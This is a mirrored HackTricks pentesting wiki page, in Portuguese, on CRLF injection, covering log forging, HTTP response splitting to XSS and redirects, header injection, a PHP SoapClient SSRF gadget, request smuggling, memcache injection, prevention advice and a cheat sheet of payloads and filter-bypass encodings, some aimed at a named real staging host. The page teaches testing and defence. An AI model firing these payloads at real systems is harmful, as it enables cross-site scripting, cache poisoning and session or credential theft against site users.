Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

17 KiB
Raw Blame History

Injeção de CRLF (%0D%0A)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Se você está interessado em carreira de hacking e em hackear o inquebrável - estamos contratando! (polonês fluente escrito e falado necessário).

{% embed url="https://www.stmcyber.com/careers" %}

O que é CRLF?

Quando um navegador envia uma solicitação a um servidor web, o servidor responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, nomeadamente um retorno de carro e uma alimentação de linha. Eles também são conhecidos como CRLF.

O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode indicar a uma aplicação web ou usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.
De https://www.netsparker.com/blog/web-security/crlf-http-header/#

O que é a Vulnerabilidade de Injeção de CRLF?

Em um ataque de vulnerabilidade de injeção de CRLF, o atacante insere os caracteres de retorno de carro e alimentação de linha na entrada do usuário para enganar o servidor, a aplicação web ou o usuário, fazendo-os pensar que um objeto terminou e outro começou. Assim, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usados com intenções maliciosas, para divisão de resposta HTTP, etc.

Injeção de CRLF em aplicações web

Em aplicações web, uma injeção de CRLF pode ter impactos graves, dependendo do que a aplicação faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade direta na segurança da aplicação web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito sérias em uma aplicação web, embora nunca tenha sido listado na lista OWASP Top 10. Por exemplo, também é possível manipular arquivos de log em um painel administrativo, conforme explicado no exemplo abaixo.

Um exemplo de Injeção de CRLF em um arquivo de log

Imagine um arquivo de log em um painel administrativo com o padrão de saída de fluxo de IP - Hora - Caminho Visitado, como o abaixo:

123.123.123.123 - 08:15 - /index.php?page=home

Se um atacante conseguir injetar os caracteres CRLF na requisição HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode mudar a resposta da aplicação web para algo como o abaixo:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Os %0d e %0a são as formas codificadas em URL de CR e LF. Portanto, as entradas de log ficariam assim depois que o atacante inserisse esses caracteres e o aplicativo os exibisse:

IP - Hora - Caminho Visitado

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode falsificar entradas no arquivo de log para ofuscar suas próprias ações maliciosas. O atacante está literalmente realizando sequestro de página e modificando a resposta. Por exemplo, imagine um cenário onde o atacante tem a senha de admin e executou o parâmetro restrictedaction, que só pode ser usado por um admin.

O problema é que se o administrador notar que um IP desconhecido usou o parâmetro restrictedaction, perceberá que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um admin), isso não parece suspeito.

Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro. Depois disso, há outro & com o parâmetro restricted action que será interpretado pelo servidor como outro parâmetro. Efetivamente, essa seria a mesma consulta como:

/index.php?page=home&restrictedaction=edit

Divisão de Resposta HTTP

Descrição

Uma vez que o cabeçalho de uma resposta HTTP e seu corpo são separados por caracteres CRLF, um atacante pode tentar injetá-los. Uma combinação de CRLFCRLF indicará ao navegador que o cabeçalho terminou e o corpo começou. Isso significa que ele agora é capaz de escrever dados dentro do corpo da resposta, onde o código html é armazenado. Isso pode levar a uma vulnerabilidade de Cross-site Scripting.

Um exemplo de Divisão de Resposta HTTP levando a XSS

Imagine uma aplicação que define um cabeçalho personalizado, por exemplo:

X-Your-Name: Bob

O valor do cabeçalho é definido por um parâmetro get chamado "name". Se não houver codificação de URL em vigor e o valor for diretamente refletido dentro do cabeçalho, pode ser possível para um atacante inserir a combinação mencionada de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele pode inserir dados como payload XSS, por exemplo:

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.

Um exemplo de HTTP Response Splitting levando a Redirecionamento

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

Navegue para:

/%0d%0aLocation:%20http://myweb.com

E o servidor responde com o cabeçalho:

Location: http://myweb.com

Outro exemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

No Caminho da URL

Você pode enviar o payload dentro do caminho da URL para controlar a resposta do servidor:

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

### Injeção de Cabeçalho HTTP

#### Descrição

Ao explorar uma injeção CRLF, um atacante também pode inserir cabeçalhos HTTP que podem ser usados para derrotar mecanismos de segurança, como o filtro XSS de um navegador ou a política de mesma origem (same-origin-policy). Isso permite que o atacante obtenha informações sensíveis como tokens CSRF. Ele também pode configurar cookies que podem ser explorados ao fazer o login da vítima na conta do atacante ou ao explorar vulnerabilidades de cross-site scripting (XSS) que de outra forma seriam inexploráveis.

#### Um exemplo de Injeção de Cabeçalho HTTP para extrair dados sensíveis

Se um atacante consegue injetar os cabeçalhos HTTP que ativam o CORS (Cross Origin Resource Sharing), ele pode usar javascript para acessar recursos que de outra forma seriam protegidos pela SOP (Same Origin Policy), que impede que sites de origens diferentes acessem uns aos outros.

### Nova requisição HTTP em SSRF

Abusando da injeção CRLF, você pode **criar uma nova requisição HTTP e injetá-la**.\
Um bom exemplo pode ser feito usando o gadget de desserialização `SoapClient` em PHP. Esta classe é **vulnerável ao CRLF** dentro do parâmetro `user_agent`, permitindo **inserir novos cabeçalhos e conteúdo no corpo**. No entanto, você pode até ser capaz de abusar dessa vulnerabilidade para **injetar uma nova requisição HTTP:**

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

Injeção de Cabeçalho para Request Smuggling

Você pode injetar cabeçalhos essenciais para garantir que o back-end mantenha a conexão aberta após responder à solicitação inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Então, especifique uma segunda requisição. Aqui você tem um clássico request smuggling com cabeçalhos/corpo extra anexados pelo servidor após a injeção.
Aqui estão duas das muitas opções para exploração entre usuários.

Especificando um prefixo malicioso para envenenar a requisição do próximo usuário ou um cache da web:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

Ou criando nosso prefixo para combinar com o lixo remanescente e criar uma segunda requisição completa para acionar response queue poisoning.

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Para mais informações sobre esta técnica e problemas potenciais consulte a fonte original.

Injeção em Memcache

Memcache é um armazenamento de chave-valor que usa um protocolo de texto claro. Mais informações em:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Se uma plataforma está tomando dados de uma requisição HTTP e os utilizando sem sanitização para realizar requisições a um servidor memcache, um atacante poderia abusar desse comportamento para injetar novos comandos memcache.

Por exemplo, na vulnerabilidade originalmente descoberta, chaves de cache eram usadas para retornar o IP e porta que um usuário deveria se conectar, e atacantes conseguiram injetar comandos memcache que iriam envenenar o cache para enviar os detalhes das vítimas (incluindo nomes de usuário e senhas) para os servidores do atacante:

Além disso, pesquisadores também descobriram que eles poderiam dessincronizar as respostas do memcache para enviar o IP e portas dos atacantes para usuários cujo email o atacante não conhecia:

Para a informação completa leia o artigo original

Impactos da Vulnerabilidade de Injeção CRLF

O impacto das injeções CRLF varia e também inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança como Filtros XSS e a Política de Mesma Origem nos navegadores das vítimas, deixando-os suscetíveis a ataques maliciosos.

Como Prevenir Injeções CRLF / HTTP Header em Aplicações Web

A melhor técnica de prevenção é não usar diretamente a entrada dos usuários dentro dos cabeçalhos de resposta. Se isso não for possível, você deve sempre usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança em aplicações web é atualizar sua linguagem de programação para uma versão que não permita que CR e LF sejam injetados dentro de funções que definem cabeçalhos HTTP.

CHEATSHEET

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Ferramentas Automáticas

Lista de Detecção por Força Bruta

Referências

Se você tem interesse em carreira de hacking e em hackear o inquebrável - estamos contratando! (é necessário polonês fluente, escrito e falado).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥